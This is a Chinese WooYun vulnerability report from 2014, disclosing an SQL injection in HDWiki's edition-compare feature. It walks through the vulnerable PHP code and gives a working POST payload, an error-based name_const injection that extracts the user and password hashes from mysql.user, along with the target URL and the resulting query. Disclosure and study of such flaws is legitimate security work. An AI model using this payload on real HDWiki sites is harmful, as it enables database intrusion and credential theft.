缺陷编号:WooYun-2014-088613
漏洞标题:hdwiki 一处sql注入
相关厂商:互动在线(北京)科技有限公司
漏洞作者:Power
提交时间:2014-12-25 17:19
公开时间:2015-04-02 10:23
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:20
漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞
Tags标签:
2014-12-25: 细节已通知厂商并且等待厂商处理中
2014-12-30: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2015-02-23: 细节向核心白帽子及相关领域专家公开
2015-03-05: 细节向普通白帽子公开
2015-03-15: 细节向实习白帽子公开
2015-04-02: 细节向公众公开
费了些力气,不过还是不错的。
注入,不过不是get方式,规则绕不过去,求大牛们秒了它,post方式注入,不过这个漏洞感觉很有意思。
最后再说,别不给确认,不给rank
先来看看Hdwiki处理提交数据的方式,get就算了,各种绕不过。在/hdwiki/model/hdwiki.class.php中大约 52行
1 |
$this->post = string::haddslashes($_POST); //跟入 |
haddslashes函数如下,可以看到POST过来的数据处理addslashes(单引号,双引号,反斜杠,NULL)下
1 2 3 4 5 6 7 8 9 10 11 12 |
function haddslashes($string, $force = 0) {<br> if(!MAGIC_QUOTES_GPC || $force) {<br> if(is_array($string)) {<br> foreach($string as $key => $val) {<br> $string[$key] = string::haddslashes($val, $force);<br> }<br> }else {<br> $string = addslashes($string);<br> }<br> }<br> return $string;<br> } |
再来看/hdwiki/control/edition.php中function docompare()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
function docompare(){<br> if(!empty($this->setting['check_useragent'])) {<br> $this->load('anticopy');<br> if(!$_ENV['anticopy']->check_useragent()){<br> $this->message('禁止访问','',0);<br> }<br> }<br> if(!empty($this->setting['check_visitrate'])) {<br> $this->load('anticopy');<br> $_ENV['anticopy']->check_visitrate();<br> }<br> if ($this->get[4] == 'box'){<br> @header('Content-type: text/html; charset='.WIKI_CHARSET);<br> if([email protected]_numeric($this->get[2])[email protected]_numeric($this->get[3])){<br> $this->message($this->view->lang['parameterError'],'index.php',0);<br> }<br> $did = $this->get[2];<br> $eid = $this->get[3];<br> $edition = array();<br> $editions=$_ENV['doc']->get_edition_list($did,'`time`,`authorid`,`author`,`words`,`images`,`content`', $eid);$this->view->assign('edition',$editions);<br> $this->view->display('comparebox');<br> exit;<br> }<br> if(@!is_numeric($this->post['eid'][0])||@!is_numeric($this->post['eid'][1])){ //这个地方程序判断的是数组中第一及第二个是否为数字,我们post数据为eid[0]=num,eid[1]=num就可以绕过去执行下面的函数了。<br> $this->message($this->view->lang['parameterError'],'index.php',0);<br> }<br> $edition=$_ENV['doc']->get_edition($this->post['eid']); //这个地方产生问题,跟踪进入get_edition函数<br> ....省略代码 |
来看get_edition函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
function get_edition($eid){<br> $editionlist=array();<br> if(is_numeric($eid)){ //这个地方判断$eid是否为数字,我们传过来的肯定不是数字了,这个if下不用看了,直接到了else中。<br> $edition= $this->db->fetch_first("SELECT * FROM ".DB_TABLEPRE."edition WHERE eid=$eid");<br> if($edition){<br> $edition['comtime']=$edition['time'];<br> $edition['time']=$this->base->date($edition['time']);<br> $edition['rawtitle']=$edition['title'];<br> $edition['title']=htmlspecialchars($edition['title']);<br> if(!$edition['content']){<br> $edition['content']=file::readfromfile($this->get_edition_fileinfo($edition['eid'],'file'));<br> }<br> }<br> return $edition;<br> }else{ //函数运行到了这里,到这就直接带入查询了,所以产生问题。<br> $query=$this->db->query(" SELECT * FROM ".DB_TABLEPRE."edition WHERE eid IN ($eid)");<br> while($edition=$this->db->fetch_array($query)){<br> $edition['time']=$this->base->date($edition['time']);<br> $edition['rawtitle']=$edition['title'];<br> $edition['title']=htmlspecialchars($edition['title']);<br> if(!$edition['content']){<br> $edition['content']=file::readfromfile($this->get_edition_fileinfo($edition['eid'],'file'));<br> }<br> $editionlist[]=$edition;<br> }<br> return $editionlist;<br> }<br> } |
查询函数如下
1 2 3 4 5 6 7 8 9 10 11 12 13 |
function query($sql, $type = 'SILENT'){<br> global $mquerynum;<br> $func = $type == 'UNBUFFERED' && @function_exists('mysql_unbuffered_query') ? 'mysql_unbuffered_query' : 'mysql_query';<br> // echo "<br>";<br> // var_dump($func); //string(11) "mysql_query"<br> // echo "<br>";<br> // var_dump($this->mlink); //resource(13) of type (mysql link)<br> // echo "<br>";if(!($query = $func($sql, $this->mlink)) && $type != 'SILENT'){ //这个地方不会爆错。<br> $this->halt("MySQL Query Error",'TRUE',$sql);<br> }<br> $mquerynum++;<br> return $query;<br> } |
Hdwiki中不能够报错输出,可以使用盲注之类的方法来输出数据,直接输出下吧,剩下的就是工具跑下。首先注册一个用户然后如下访问url后边的19 3不一定非要这样。
1 |
hdwiki/hdwiki/index.php?edition-compare-19-3 |
然后post数据为,要是GET就完了,各种过滤啊。
1 |
eid[0]=1&eid[1]=2&eid[3]=ss) and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c) #( |
如下图
最后来看下数据库中执行语句。
1 |
SELECT * FROM wiki_edition WHERE eid IN (1,2,ss) and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c) #() |
数据如下
过滤了这么多,你们应该很专业。
危害等级:无影响厂商忽略
忽略时间:2015-04-0210:23
暂无
最后再说,别不给确认,不给rank
原文连接
的情况下转载,若非则不得使用我方内容。